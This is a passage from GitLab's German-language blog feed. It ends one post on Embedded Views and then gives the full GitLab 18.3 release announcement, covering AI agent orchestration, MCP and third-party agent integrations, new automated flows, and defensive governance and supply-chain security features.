<p>Embedded Views sind nur der Anfang der Vision der <a href="https://about.gitlab.com/direction/plan/knowledge/">Knowledge Group</a> für die Arbeitsverfolgung. Erfahre mehr über unsere nächsten Schwerpunkte im <a href="https://gitlab.com/groups/gitlab-org/-/epics/15249">Embedded Views Post-GA Epic</a>. Während sich Embedded Views weiterentwickeln, wollen wir sie noch leistungsfähiger und <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/548722">zugänglicher</a> zu machen.</p>
<h2>Teile deine Erfahrungen</h2>
<p>Teile uns dein Feedback mit im <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/509792">Embedded Views GA Feedback Issue</a>. Egal ob du innovative Anwendungsfälle entdeckt hast, auf Herausforderungen gestoßen bist oder Verbesserungsideen hast – wir wollen von dir hören.</p>
]]></content>
        <author>
            <name>Matthew Macfarlane</name>
            <uri>https://about.gitlab.com/blog/authors/matthew-macfarlane</uri>
        </author>
        <author>
            <name>Himanshu Kapoor</name>
            <uri>https://about.gitlab.com/blog/authors/himanshu-kapoor</uri>
        </author>
        <author>
            <name>Alex Fracazo</name>
            <uri>https://about.gitlab.com/blog/authors/alex-fracazo</uri>
        </author>
        <published>2025-08-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab 18.3: KI-Orchestrierung revolutioniert die Softwareentwicklung]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/"/>
        <updated>2025-08-21T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>GitLab ist heute eine umfassende DevSecOps-Plattform, die alle Phasen des Software-Lebenszyklus vereint. Auf dieser Grundlage entwickeln wir uns zur weltweit ersten KI-nativen Plattform für Software Engineering. Bei GitLab sind wir überzeugt: Die Zukunft der Softwareentwicklung liegt im reibungslosen Zusammenspiel von Mensch und KI. Wir bringen die besten KI-Funktionen zu allen GitLab-Nutzerinnen und -Nutzern.</p>
<p>Diese Transformation erfolgt auf drei unterschiedlichen Ebenen, die weit über das hinausgehen, was andere KI-Entwicklungstools bieten:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755762266/iwuugge3cxweiyvi0yjk.png" alt="KI-native Transformationsfolie, die das Folgende visualisiert"></p>
<p><strong>Erstens sind wir ein System of Record.</strong> Die einheitliche Datenplattform speichert die wertvollsten digitalen Assets. Dazu gehören Quellcode und geistiges Eigentum sowie eine Fülle unstrukturierter Daten, die Projektpläne, Bug-Backlogs, CI/CD-Konfigurationen, Deployment-Historien, Sicherheitsberichte und Compliance-Daten umfassen. Dies schafft einen Datenschatz an Kontextinformationen, der sicher in der GitLab-Umgebung verbleibt und für generische Agenten oder große Sprachmodelle unzugänglich ist.</p>
<p><strong>Zweitens fungieren wir als Software-Control-Plane.</strong> Wir orchestrieren die kritischsten Geschäftsprozesse über Git-Repositories, REST-APIs und Webhook-basierte Schnittstellen, die die End-to-End-Software-Lieferung antreiben. Viele Kunden betrachten dies als Tier-0-Abhängigkeit, auf die sich ihre geschäftskritischen Prozesse täglich verlassen.</p>
<p><strong>Drittens bieten wir eine leistungsstarke Benutzererfahrung.</strong> Wir liefern eine integrierte Oberfläche, die den kostspieligen Kontextwechsel eliminiert, der die meisten Entwicklungsteams verlangsamt. Mit vollständiger Lifecycle-Transparenz und Kollaborationstools in einer Plattform verlassen sich über 50 Millionen registrierte Nutzende und die riesige Community auf GitLab, um ihre Arbeit zu erledigen. Diese Expertise positioniert GitLab einzigartig, um eine intuitive Mensch-zu-KI-Zusammenarbeit zu ermöglichen, die die Teamproduktivität steigert und gleichzeitig die bewährten Workflows bewahrt.</p>
<p><strong>Erweiterung der Plattform mit nativ integrierter KI auf allen Ebenen</strong></p>
<p>Die <a href="https://about.gitlab.com/de-de/gitlab-duo/agent-platform/">GitLab Duo Agent Platform</a> integriert und erweitert alle drei dieser Ebenen. Sie ist auf Erweiterbarkeit und Interoperabilität ausgelegt und ermöglicht es Kunden und Partnern, Lösungen zu entwickeln, die noch mehr Wert schaffen. Der offene Plattformansatz betont die nahtlose Konnektivität mit externen KI-Tools und -Systemen, während gleichzeitig eine tiefe Integration in den bestehenden Stack auf allen drei Ebenen gewährleistet wird.</p>
<ul>
<li>Erstens erweitern wir die einheitliche Datenplattform um einen <strong>Knowledge Graph</strong>, der Code mit allen anderen unstrukturierten Daten indiziert und verknüpft, speziell optimiert für den agentischen Zugriff. KI lebt von Kontext, und wir glauben, dass dies nicht nur die Schlussfolgerungen und Inferenzen von Agenten beschleunigt, sondern auch kostengünstigere und qualitativ hochwertigere agentische Ergebnisse liefert.</li>
<li>Zweitens fügen wir der bestehenden Control Plane eine wichtige <strong>Orchestration Layer</strong> in drei verschiedenen Teilen hinzu: Agenten und Flows können sich als Abonnenten für GitLab SDLC-Events registrieren, wir bauen eine neue Orchestrierungs-Engine, die speziell entwickelte Multi-Agenten-Flows ermöglicht, und wir stellen GitLab-Tools, Agenten und Flows über MCP und Standardprotokolle für beispiellose Interoperabilität zur Verfügung.</li>
<li>Schließlich erweitern wir die <strong>GitLab-Erfahrung</strong>, um erstklassige Agenten und Agenten-Flows über den gesamten Software-Entwicklungslebenszyklus bereitzustellen. Sie können asynchrone Aufgaben an Agenten zuweisen, sie in Kommentaren mit @ erwähnen und benutzerdefinierte Agenten mit spezifischem Kontext für Ihre Workflows erstellen – aber noch wichtiger: GitLab liefert native Agenten für jede Entwicklungsphase und erschließt gleichzeitig ein reiches Ökosystem von Drittanbieter-Agenten. Dies schafft eine echte Mensch-zu-KI-Zusammenarbeit, bei der Agenten genauso natürlich zu bedienen sind wie menschliche Teammitglieder.</li>
</ul>
<p>Sieh dir dieses Video an, um zu erfahren, was in 18.3 und darüber hinaus kommt, oder lies weiter.</p>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111796316?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;GitLab_18.3 Release_081925_MP_v1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h2>Neu in GitLab 18.3</h2>
<p>Mit 18.2 haben wir spezialisierte <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=Agents%20that%20work%20out%20of%20the%20box">KI-Agenten</a> eingeführt, die Entwicklern über den gesamten Software-Entwicklungslebenszyklus hinweg zur Seite stehen, sowie unseren <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=we%20are%20building%3A-,Software%20Development%20Flow,-(now%20in%20beta">Software Development Flow</a> – eine leistungsstarke Funktion, die Nutzenden die Möglichkeit gibt, mehrere Agenten zu orchestrieren, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen.</p>
<p>GitLab 18.3 führt erweiterte Integrationen und Interoperabilität, mehr Flows und verbesserte Kontextwahrnehmung über den gesamten Software-Entwicklungslebenszyklus ein.</p>
<h3>Erweiterte Integrationen und Interoperabilität</h3>
<p>Wir bieten umfassende KI-Erweiterbarkeit sowohl durch erstklassige GitLab-Agenten als auch durch ein reiches Ökosystem von Drittanbieter-Agenten, alle mit vollem Zugriff auf Projektkontext und -daten. Dieser Ansatz erhält native GitLab-Workflows und Governance und bietet gleichzeitig die Flexibilität, bevorzugte Tools durch hochintegrierte Orchestrierung zwischen diesen Agenten und der GitLab-Kernplattform zu wählen. Teams erhalten erweiterte KI-Funktionalität bei gleichzeitiger Beibehaltung wichtiger Integrations-, Überwachungs- und Benutzererfahrungsvorteile.</p>
<ul>
<li>
<p><strong>MCP-Server - Universelle KI-Integration:</strong> Der GitLab MCP-Server (<a href="https://about.gitlab.com/de-de/topics/ai/model-context-protocol/">Model Context Protocol</a>) ermöglicht es KI-Systemen, sich sicher direkt in GitLab-Projekte und Entwicklungsprozesse zu integrieren. Diese standardisierte Schnittstelle eliminiert den Aufwand für benutzerdefinierte Integrationen und ermöglicht es KI-Tools – einschließlich <a href="https://docs.cursor.com/en/tools/mcp">Cursor</a> –, intelligent innerhalb der bestehenden GitLab-Umgebung zu arbeiten. Siehe unsere <a href="https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/">Dokumentation</a> für eine vollständige Liste der in 18.3 enthaltenen Tools. <strong>Dies ist erst der Anfang; weitere Tools sind für 18.4 geplant.</strong></p>
<p><strong>Hinweis:</strong> Drittanbieter-Agenten sind GitLab Premium Beta-Funktionen und nur für GitLab Duo Enterprise-Kunden zur Evaluierung verfügbar.</p>
</li>
</ul>
<blockquote>
<p><em>&quot;GitLab-Workflows direkt in Cursor zu bringen, ist ein entscheidender Schritt zur Reduzierung von Reibung für Entwickler. Durch die Minimierung des Kontextwechsels können Teams den Issue-Status überprüfen, Merge Requests einsehen und Pipeline-Ergebnisse überwachen, ohne jemals ihre Programmierumgebung zu verlassen. Diese Integration ist eine natürliche Ergänzung für unsere gemeinsamen Kunden, und wir freuen uns auf eine langfristige Partnerschaft mit GitLab, um die Entwicklerproduktivität weiter zu steigern.&quot;</em></p>
<p>- <strong>Ricky Doar, VP of Field Engineering bei Cursor</strong></p>
<p><em>&quot;Der MCP-Server und die CLI-Agent-Unterstützung von GitLab schaffen leistungsstarke neue Wege für die Integration von Amazon Q in Entwicklungsworkflows. Amazon Q Developer kann sich jetzt direkt über die Remote-MCP-Schnittstelle von GitLab verbinden, während Teams Entwicklungsaufgaben delegieren können, indem sie Amazon Q CLI einfach in Issues und Merge Requests mit @ erwähnen. Die robusten Sicherheits- und Governance-Funktionen, die in diese Integrationen integriert sind, geben Unternehmen das Vertrauen, KI-Coding-Tools zu nutzen und gleichzeitig ihre Entwicklungsstandards zu bewahren. Die Partnerschaft mit GitLab zeigt das kontinuierliche Engagement von AWS, das KI-Ökosystem zu erweitern und intelligente Entwicklungstools überall dort zugänglich zu machen, wo Entwickler arbeiten.&quot;</em></p>
<p>- <strong>Deepak Singh, Vice President of Developer Agents and Experiences bei AWS</strong></p>
</blockquote>
<ul>
<li><strong>CLI-Agent-Unterstützung für Claude Code, Codex, Amazon Q, Google Gemini und opencode (Bring Your Own Key):</strong> 18.3 führt Integrationen ein, die es Teams ermöglichen, routinemäßige Entwicklungsarbeit zu delegieren, indem sie ihre Agenten direkt in Issues oder Merge Requests mit @ erwähnen. Wenn Entwickler diese KI-Assistenten erwähnen, lesen sie automatisch den umgebenden Kontext und Repository-Code und antworten dann auf den Kommentar des Nutzers entweder mit überprüfungsreifen Code-Änderungen oder Inline-Kommentaren. Diese Integrationen erfordern einen eigenen API-Schlüssel für die jeweiligen KI-Anbieter und halten alle Interaktionen nativ innerhalb der GitLab-Oberfläche, während gleichzeitig ordnungsgemäße Berechtigungen und Audit-Trails beibehalten werden.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111784124?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Third Party Agents Flows Claude Code&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<blockquote>
<p><em>&quot;Claude Code direkt in GitLab zu bringen, bringt KI-Unterstützung dorthin, wo Millionen von Entwicklern bereits täglich zusammenarbeiten und Code liefern. Die Möglichkeit, Claude direkt in Issues und Merge Requests zu erwähnen, beseitigt Reibung und behält gleichzeitig die Qualität durch menschliche Aufsicht und Überprüfungsprozesse bei. Dieses Update bringt die Fähigkeiten von Claude Code an mehr Orte, an denen Teams arbeiten, und macht KI zu einem natürlichen Teil ihres Entwickler-Workflows.&quot;</em></p>
<p><strong>- Cat Wu, Claude Code Product Lead, Anthropic</strong></p>
<p><em>&quot;Mit der neuen Agenten-Integration von GitLab in 18.3 können Sie opencode innerhalb Ihrer bestehenden Workflows verwenden. Sie können opencode in einem Issue oder Merge Request mit @erwähnen und es führt Ihren Agenten direkt in Ihrer CI-Pipeline aus. Diese Möglichkeit, opencode so zu konfigurieren und auszuführen, wie Sie es möchten, ist die Art von Integration, von der wir wissen, dass die Open-Source-Community sie wirklich schätzt.&quot;</em></p>
<p><strong>- Jay V., CEO, opencode</strong></p>
</blockquote>
<ul>
<li><strong>Agentic Chat-Unterstützung für Visual Studio IDE und GitLab UI für alle Premium- und Ultimate-Kunden verfügbar:</strong> Mit 18.3 müssen Sie nicht mehr zwischen Tools wechseln, um auf die vollständigen Entwicklungslebenszyklus-Daten von GitLab zuzugreifen. Die erweiterten Integrationen bringen die volle Leistung von GitLab Duo sowohl in die GitLab-Benutzeroberfläche als auch in IDEs – die Unterstützung wird von JetBrains und VS Code auf Visual Studio erweitert. Dies hilft Entwicklern, im Flow zu bleiben und gleichzeitig auf reichhaltigen Projektkontext, Deployment-Historie und Team-Kollaborationsdaten direkt in ihrer bevorzugten Umgebung zuzugreifen.</li>
<li><strong>Erweiterte KI-Modell-Unterstützung:</strong> GitLab Duo Self-Hosted unterstützt jetzt zusätzliche KI-Modelle und gibt Teams mehr Flexibilität in ihren KI-unterstützten Entwicklungsworkflows. Sie können jetzt Open-Source-OpenAI-GPT-Modelle (20B und 120B Parameter) über vLLM auf Ihrer Rechenzentrums-Hardware oder über Cloud-Services wie Azure OpenAI und AWS Bedrock in Ihrer privaten Cloud bereitstellen. Zusätzlich ist Anthropics Claude 4 auf AWS Bedrock verfügbar.</li>
</ul>
<h3>Neue automatisierte Entwicklungs-Flows</h3>
<p>GitLab Flows koordinieren mehrere KI-Agenten mit vordefinierten Anweisungen, um diese zeitaufwändigen, alltäglichen Aufgaben autonom zu erledigen, damit sich Entwickler auf die wirklich wichtige Arbeit konzentrieren können.</p>
<p>GitLab 18.3 kommt mit zwei neuen Flows:</p>
<ul>
<li><strong>Issue to MR Flow ermöglicht automatisierte Code-Generierung vom Konzept bis zur Fertigstellung in Minuten:</strong> Dieser Flow konvertiert automatisch Issues in umsetzbare Merge Requests (MRs), indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und produktionsreifen Code zu generieren, der zur Überprüfung bereit ist – und verwandelt Ideen in überprüfbare Implementierungen in Minuten, nicht Stunden.</li>
</ul>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111782058?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Issue to MR&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Convert CI File Flow für nahtlose Migrationsintelligenz:</strong> Der Convert CI File Flow rationalisiert Migrationsworkflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren. Dies eliminiert den manuellen Aufwand und potenzielle Fehler beim Neuschreiben von CI-Konfigurationen von Grund auf und ermöglicht es Teams, ganze Deployment-Pipelines mit Vertrauen zu migrieren. 18.3 umfasst Unterstützung für Jenkins-Migrationen. Zusätzliche Unterstützung ist für zukünftige Versionen geplant.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783724?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Convert to CI Flow&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h3>Intelligenter Code und Suche</h3>
<p>KI-Punktlösungen arbeiten typischerweise mit begrenzter Sichtbarkeit in isolierte Code-Schnipsel, aber der Knowledge Graph von GitLab bietet Agenten Umgebungskontext, um schnellere und intelligentere Antworten zu ermöglichen.</p>
<ul>
<li><strong>Knowledge Graph für Echtzeit-Code-Intelligenz:</strong> Mit 18.3 liefert der Knowledge Graph von GitLab jetzt Echtzeit-Code-Indizierung für schnellere Code-Suchen und liefert genauere und kontextbezogene Ergebnisse. Durch das Verständnis der Beziehungen zwischen Dateien, Abhängigkeiten und Entwicklungsmustern über die gesamte Codebasis hinweg sind die Agenten darauf ausgelegt, Einblicke zu liefern, die menschliche Entwickler Stunden kosten würden – <strong>und dies ist nur der erste Schritt zur Erschließung der leistungsstarken Funktionen, die für den Knowledge Graph geplant sind.</strong></li>
</ul>
<h3>Enterprise Governance</h3>
<p>KI-Transparenz und organisatorische Kontrolle sind kritische Herausforderungen, die Teams davon abhalten können, KI-gestützte Entwicklungstools vollständig zu übernehmen, wobei <a href="https://about.gitlab.com/de-de/software-innovation-report/">85% der Führungskräfte zustimmen, dass agentische KI beispiellose Sicherheitsherausforderungen schaffen wird</a>.</p>
<p>Diese neuen Funktionen in 18.3 helfen, Bedenken hinsichtlich Daten-Governance, Compliance-Anforderungen und dem Bedarf an Transparenz in KI-Entscheidungsprozessen zu adressieren, damit Organisationen KI innerhalb ihrer bestehenden Sicherheits- und Policy-Frameworks integrieren können.</p>
<ul>
<li><strong>Agent Insights für Transparenz durch Intelligenz:</strong> Das integrierte Agenten-Tracking bietet Einblick in die Entscheidungsprozesse von Agenten. Nutzende können Workflows optimieren und Best Practices durch transparentes Activity-Tracking befolgen.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783244?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Agent Insights&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>GitLab Duo Code Review für Self-Hosted:</strong> Dies bringt die Intelligenz von GitLab Duo zu Organisationen mit strengen Daten-Governance-Anforderungen, indem Teams sensiblen Code in kontrollierten Umgebungen behalten können.</li>
<li><strong>Hybrid-Modell-Konfigurationen für flexible KI-Bereitstellung:</strong> GitLab Duo Self-Hosted-Kunden können jetzt Hybrid-Modell-Konfigurationen verwenden, die selbst gehostete KI-Modelle über ihr lokales KI-Gateway mit den Cloud-Modellen von GitLab über das KI-Gateway von GitLab kombinieren und so Zugriff auf verschiedene Funktionen ermöglichen.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783569?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Self Hosted Models Code Review&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Erweiterte Sicherheit mit OAuth-Unterstützung:</strong> Der MCP-Server umfasst jetzt vollständige OAuth 2.0-Authentifizierungsunterstützung, die sichere Verbindungen zu geschützten Ressourcen und sensiblen Entwicklungsumgebungen ermöglicht. Diese Implementierung folgt dem Entwurf der OAuth-Spezifikation für MCP und behandelt Autorisierungsflows, Token-Verwaltung und dynamische Client-Registrierung.</li>
</ul>
<h3>Secure by Design-Plattform: Governance, die skaliert</h3>
<p>Echte Plattformsicherheit erfordert die konsistente Anwendung von Governance-Prinzipien über jede Ebene des Entwicklungslebenszyklus. Die gleichen Sicherheitsgrundlagen, die die KI-Adoption sicher machen – Least-Privilege-Zugriff, zentralisiertes Policy-Management, proaktive Überwachung und granulare Berechtigungen – müssen im gesamten SDLC eingebettet sein, um einen kohärenten Defense-in-Depth-Ansatz zu schaffen.</p>
<p>GitLab 18.3 stärkt die grundlegenden Kontrollen, die zum Schutz der gesamten Software-Supply-Chain beitragen, mit diesen neuen Updates:</p>
<ul>
<li><strong>Benutzerdefinierte Admin-Rolle:</strong> Bietet granulare, zweckgebundene administrative Berechtigungen und ersetzt pauschalen Admin-Zugriff durch präzise Least-Privilege-Kontrollen. Anstatt pauschale administrative Privilegien zu gewähren, die Sicherheitsrisiken schaffen, können Organisationen jetzt spezialisierte Rollen erstellen, die auf spezifische Funktionen zugeschnitten sind – Plattform-Teams, die Runner und Monitoring verwalten, Support-Teams, die die Benutzerverwaltung handhaben, und Führungskräfte, die auf Dashboards und Nutzungsstatistiken zugreifen. Mit vollständigem Rollen-Lifecycle-Management über UI und API, Audit-Logging und automatisch generierter Dokumentation ermöglicht diese Funktion echte Least-Privilege-Administration bei gleichzeitiger Aufrechterhaltung der operativen Effizienz und Verbesserung der allgemeinen Instanzsicherheit.</li>
<li><strong>Compliance-Framework und Sicherheits-Policy-Management auf Instanzebene:</strong> Organisationen können jetzt eine dedizierte Compliance-Gruppe bestimmen, die die Befugnis hat, standardisierte Frameworks und Sicherheitsrichtlinien direkt auf Top-Level-Gruppen anzuwenden und die Durchsetzung automatisch auf alle ihre Untergruppen und Projekte zu kaskadieren. Dieser zentralisierte Ansatz eliminiert den Compliance-Adoptionsblocker des fragmentierten Policy-Managements bei gleichzeitiger Beibehaltung der Gruppenautonomie für zusätzliche lokale Richtlinien.</li>
<li><strong>Erweiterte Verletzungsberichte:</strong> Teams erhalten jetzt sofortige Benachrichtigungen, wenn nicht autorisierte Änderungen an MR-Genehmigungsregeln vorgenommen werden, Framework-Richtlinien keine ordnungsgemäßen Genehmigungen haben oder zeitbasierte Compliance-Kontrollen verletzt werden. Durch die direkte Verknüpfung von Verletzungen mit spezifischen Compliance-Framework-Kontrollen erhalten Teams umsetzbare Einblicke, die genau zeigen, welche Anforderung verletzt wurde, und verwandeln Compliance von einer reaktiven Checkbox-Übung in einen proaktiven, integrierten Teil des Entwicklungs- und Sicherheitsworkflows.</li>
<li><strong>Fein abgestimmte Berechtigungen für CI/CD-Job-Token:</strong> Ersetzt breiten Token-Zugriff durch granulare, explizite Berechtigungen, die CI/CD-Jobs nur Zugriff auf die spezifischen API-Endpunkte gewähren, die sie tatsächlich benötigen. Anstatt Jobs pauschalen Zugriff auf Projektressourcen zu gewähren, können Teams jetzt präzise Berechtigungen für Deployments, Pakete, Releases, Umgebungen und andere kritische Ressourcen definieren, wodurch die Angriffsfläche und das Potenzial für Privilegieneskalation reduziert werden.</li>
<li><strong>AWS Secrets Manager-Integration:</strong> Teams, die AWS Secrets Manager verwenden, können jetzt Secrets direkt in GitLab CI/CD-Jobs abrufen, was die Build- und Deploy-Prozesse vereinfacht. Secrets werden von einem GitLab Runner über OpenID Connect-protokollbasierte Authentifizierung abgerufen, maskiert, um Exposition in Job-Logs zu verhindern, und nach Gebrauch zerstört. Dieser Ansatz eliminiert die Notwendigkeit, Secrets in Variablen zu speichern, und integriert sich nahtlos in bestehende GitLab- und AWS-basierte Workflows. In enger Zusammenarbeit mit der Deutschen Bahn und dem AWS Secrets Manager-Team entwickelt, spiegelt diese Integration unser Engagement wider, Lösungen gemeinsam mit Kunden zu entwickeln, um reale Herausforderungen zu lösen.</li>
</ul>
<h3>Artifact Management: Sicherung der Software-Supply-Chain</h3>
<p>Wenn Artefakte nicht ordnungsgemäß verwaltet werden, können kleine Änderungen große Konsequenzen haben. Veränderbare Pakete, überschriebene Container-Images und inkonsistente Regeln über Tools hinweg können Produktionsausfälle auslösen, Schwachstellen einführen und Compliance-Lücken schaffen. Für Enterprise DevSecOps ist sicheres, zentralisiertes Artifact Management unerlässlich, um die Software-Supply-Chain intakt zu halten.</p>
<h4>Enterprise-Grade-Artifact-Schutz in 18.3</h4>
<p>Aufbauend auf den umfassenden Package-Protection-Funktionen fügt GitLab 18.3 wichtige neue Funktionen hinzu:</p>
<ul>
<li><strong>Conan-Revisions-Unterstützung:</strong> Neu in 18.3 bieten <a href="https://docs.gitlab.com/user/packages/conan_2_repository/#conan-revisions">Conan-Revisionen</a> Paket-Unveränderlichkeit für C++-Entwickler. Wenn Änderungen an einem Paket vorgenommen werden, ohne seine Version zu ändern, berechnet Conan eindeutige Identifikatoren, um diese Änderungen zu verfolgen, wodurch Teams unveränderliche Pakete beibehalten können, während die Versionsklarheit erhalten bleibt.</li>
<li><strong>Erweiterte Container Registry-Sicherheit:</strong> Nach der erfolgreichen Einführung von <a href="https://docs.gitlab.com/user/packages/container_registry/immutable_container_tags/">unveränderlichen Container-Tags</a> in 18.2 sehen wir eine starke Unternehmensadoption. Sobald ein Tag erstellt wird, das einer unveränderlichen Regel entspricht, kann niemand – unabhängig von der Berechtigungsebene – dieses Container-Image ändern, wodurch unbeabsichtigte Änderungen an Produktionsabhängigkeiten verhindert werden.</li>
</ul>
<p>Diese Verbesserungen ergänzen die bestehenden Schutzfunktionen für npm, PyPI, Maven, NuGet, Helm-Charts und generische Pakete und ermöglichen es Plattform-Teams, konsistente Governance über ihre gesamte Software-Supply-Chain zu implementieren – eine Anforderung für Organisationen, die sichere interne Entwicklerplattformen aufbauen.</p>
<p>Im Gegensatz zu eigenständigen Artifact-Lösungen eliminiert der integrierte Ansatz von GitLab den Kontextwechsel zwischen Tools und bietet gleichzeitig End-to-End-Nachverfolgbarkeit vom Code bis zur Bereitstellung, wodurch Plattform-Teams konsistente Governance über ihre gesamte Software-Delivery-Pipeline implementieren können.</p>
<h3>Embedded Views: Echtzeit-Sichtbarkeit und Berichte</h3>
<p>Da GitLab-Projekte an Komplexität zunehmen, navigieren Teams zwischen Issues, Merge Requests, Epics und Meilensteinen, um die Sichtbarkeit des Arbeitsstatus aufrechtzuerhalten. Die Herausforderung liegt darin, diese Informationen effizient zu konsolidieren und gleichzeitig sicherzustellen, dass Teams Echtzeitzugriff auf den Projektfortschritt haben, ohne den Kontext zu wechseln oder ihren Flow zu unterbrechen.
<strong>Start der Echtzeit-Arbeitsstatussichtbarkeit in 18.3</strong>
Die <a href="https://docs.gitlab.com/user/glql/#embedded-views">Embedded Views von GitLab 18.3, unterstützt durch die leistungsstarke GitLab Query Language</a> (GLQL), eliminieren den Kontextwechsel, indem sie Live-Projektdaten direkt in den Workflow bringen:</p>
<ul>
<li><strong>Dynamische Ansichten:</strong> Fügen Sie Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests ein, die sich automatisch mit aktuellen Projektzuständen aktualisieren, jedes Mal wenn Sie die Seite laden.</li>
<li><strong>Kontextuelle Personalisierung:</strong> Ansichten passen sich automatisch mit Funktionen wie <code>currentUser()</code> und <code>today()</code> an, um relevante Informationen für den jeweiligen Betrachter anzuzeigen, ohne manuelle Konfiguration.</li>
<li><strong>Leistungsstarke Filterung:</strong> Filtern Sie nach 25+ Feldern, einschließlich Assignee, Autor, Label, Meilenstein, Gesundheitsstatus und Erstellungsdatum.</li>
<li><strong>Anzeigeflexibilität:</strong> Präsentieren Sie Daten als Tabellen, Listen oder nummerierte Listen mit anpassbarer Feldauswahl, Artikelbegrenzungen und Sortierreihenfolgen, um die Ansichten fokussiert und umsetzbar zu halten.</li>
</ul>
<p>Im Gegensatz zu fragmentierten Projektmanagement-Ansätzen wurden Embedded Views so konzipiert, dass sie die Workflow-Kontinuität beibehalten und gleichzeitig Echtzeit-Sichtbarkeit bieten, wodurch Teams fundierte Entscheidungen treffen können, ohne den Fokus zu verlieren oder zwischen mehreren Tools und Schnittstellen zu wechseln.</p>
<blockquote>
<p>Erfahre mehr über die <a href="https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/">neuesten Funktionen in GitLab 18.3</a>.</p>
</blockquote>
<h2>Jetzt starten</h2>
<p>GitLab 18.3 ist jetzt für GitLab Premium- und Ultimate-Nutzende auf GitLab.com und in selbstverwalteten Umgebungen verfügbar.</p>
<p>GitLab Dedicated-Kunden wurden jetzt auf 18.2 aktualisiert und können die mit GitLab 18.3 veröffentlichten Funktionen nächsten Monat nutzen.</p>
